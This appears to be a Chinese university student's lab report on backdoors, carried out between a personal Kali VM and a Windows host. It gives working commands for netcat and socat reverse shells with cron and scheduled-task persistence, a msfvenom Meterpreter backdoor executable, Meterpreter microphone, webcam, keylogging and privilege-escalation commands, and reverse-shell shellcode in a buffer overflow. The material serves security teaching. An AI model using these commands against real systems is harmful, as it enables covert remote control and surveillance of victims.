Exp2-后门原理与实践
Exp2-后门原理与实践
一、实验内容
(4分+2分附加题)
(1)使用netcat获取主机操作Shell,cron启动 (1分)
(2)使用socat获取主机操作Shell, 任务计划启动 (1分)
(3)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(1分)
(4)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权 (1分)
(5)可选加分内容
二、基础知识
后门:不经过正常认证流程而访问系统的通道。后门可能出现在编译器中、操作系统中,最常见的是应用程序中的后门,还可能是潜伏于操作系统中或伪装成特定应用的专用后门程序。
常用工具:NC和Netcat、SoCat、Meterpreter等
三、实验过程
(一)使用netcat获取主机操作Shell,cron启动
1.kali获取windows虚拟机的shell
(1)查看kali虚拟机的IP地址
windows:ipconfig
kali:ifconfig
windows ip为:192.168.101.85(热点下为192.168.43.87)
kali ip为:192.168.64.130
(2)在kali虚拟机中开启监听,端口号以学号为基础指定
在主机中使用 ncat.exe -l -p 1213
(个人学号后四位)监听本机的1213端口
(3)在虚拟机中使用nc 192.168.101.85(主机IP) 1213 -e /bin/sh连接主机反弹shell
(4)成功getshell
2.Windows获取kali虚拟机的shell
(1)在虚拟机中用nc -l -p 1213
监听主机1213端口
(2)在主机中用ncat -e cmd 192.168.101.123(桥接模式虚拟机ip) 1213
,成功获取到主机shell
3.在虚拟机中启动cron并在主机监听
(1)先在虚拟机上用crontab -e
指令编辑一条定时任务(crontab指令增加一条定时任务,-e表示编辑,输入2表示选择vim编辑器)
在最后一行添加55 * * * * nc 192.168.101.85 1213 -e /bin/sh
,即在每个小时的第55分钟反向连接Windows主机的1213端口(等学号13的端口时间太长了)
(2)等到每小时的55分,在ip地址为192.168.101.85的主机端用ncat -l -p 1213打开监听
在主机成功获取虚拟机的shell
(二)使用socat获取主机操作Shell,任务计划启动
1.在Windows获得Linux Shell
(1)在Kali中用man socat
查看使用说明
(2)在Windows中按Win+R
,再输入compmgmt.msc
打开计算机管理
(3)设置任务名称、新建触发器
(4)新建操作,操作设置为启动程序socat.exe,并添加参数tcp-listen:1213 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe绑定到端口1213,同时把cmd.exe的stderr重定向
(5)设置好后将电脑锁屏,解锁后由于Windows防火墙如果没关会弹出UAC警告,说明之前设置成功
(6)在Kali中输入命令socat - tcp:192.168.43.87:1213
(连接热点时的主机ip)
成功获取Windows的Shell
(三)使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
1.在Kali上生成后门可执行程序20191213_backdoor.exe
输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.64.130 LPORT=1213 -f exe > 20191213_backdoor.exe
2.在Windows上打开监听
3.在Kali上用nc 192.168.101.85 1213 < 20191213_backdoor.exe
将生成的20191213_backdoor.exe
后门程序传过去
4.在kali上使用msfconsole
指令进入msf控制台
对msf控制台进行配置,依次输入以下命令
use exploit/multi/handler #使用监听模块,设置payload
set payload windows/meterpreter/reverse_tcp #使用和生成后门程序时相同的payload
set LHOST 192.168.64.130 #Kali ip
set LPORT 1213 #学号端口
5.输入exploit进行监听,第一行出现后在Windows主机双击20191213_backdoor.exe后成功获取到Windows的shell
(四)使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
1.获取目标主机音频
在之前进入的MSF exploit中输入record_mic
指令进行录音(-d
可设置时长)
2.获取目标主机摄像头
输入webcam_snap
指令控制摄像头进行拍照
3.获取击键记录
输入keyscan_start
开始捕获键盘记录,keyscan_dump
获取击键记录(-d
可设置时长)
4.截取主机屏幕
使用screenshot
指令可以进行截屏
5.尝试提权
getsystem
(五)加分项:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
首先关闭地址随机化并设置堆栈可执行:
参考陈发强同学的博客,输入:msfvenom -p linux/x86/shell/reverse_nonx_tcp LHOST=172.16.210.44 LPORT=1213 -f c
获得shellcode:
\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b\x68\xac\x10\xd2\x2c\x66\x68\x04\xbd\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1
结合exp1中找到的pwn1的返回地址(我的是0xffffd190),加在shellcode开头,再在上覆盖缓冲区的随意字符,在Kali上生成shellcode并用如下代码:perl -e 'print "A" x 32; print"\x90\xd1\xff\xff\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x97\x5b\x68\xac\x10\xd2\x2c\x66\x68\x04\xbd\x66\x53\x89\xe1\x6a\x66\x58\x50\x51\x57\x89\xe1\x43\xcd\x80\x5b\x99\xb6\x0c\xb0\x03\xcd\x80\xff\xe1"'>input
生成input,然后再按照之前的方法设置msf控制台
在一终端运行pwn1,另一终端用msfexploit监听,攻击成功:
四、基础问题回答
1、例举你能想到的一个后门进入到你系统中的可能方式?
在非官方网站上下载一个同样名字的文件,在Windows询问是否允许本次操作点击允许之后可能就被植入了后门程序。
2、例举你知道的后门如何启动起来(win及linux)的方式?
- 修改系统配置
创建定时触发任务,添加启动项
修改默认的Shell程序 - 用户运行了带有后面的exe可执行程序
- 利用远程控制软件启动
3、Meterpreter有哪些给你映像深刻的功能?
录像和录音 这两个功能太狠了,等于使用设备时随时处在攻击者的监控之下
4、如何发现自己有系统有没有被安装后门?
- 打开杀毒软件定时进行检查
- 查看任务计划程序、开机自启动项中有没有被设置奇怪触发条件的任务
- 查看有没有平常不用却异常开启的端口
五、实验心得
本次实验让我感受到后门程序植入的危险性,很可能一不小心点击下载了一个未经安全验证的exe执行程序,并且在某一天心血来潮点开看看之后就被设置了启动后门的条件,可以随时触发我电脑上的后门,并且获得我的摄像头、音频、电脑文件和键盘输入等隐私信息,可能在不知不觉中就盗取了我很多的个人信息,从而带来严重的损失。这也提醒我没事的时候还是可以把杀毒软件打开,避免一些后门程序的植入,对于本次实验的后门程序,在杀毒软件没有关闭的情况下,会提示我不能运行,也是一种防范措施。通过这次实验,对于植入后门的技术和相应的安全背景也有了一定了解。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 分享4款.NET开源、免费、实用的商城系统
· 全程不用写代码,我用AI程序员写了一个飞机大战
· MongoDB 8.0这个新功能碉堡了,比商业数据库还牛
· 记一次.NET内存居高不下排查解决与启示
· 白话解读 Dapr 1.15:你的「微服务管家」又秀新绝活了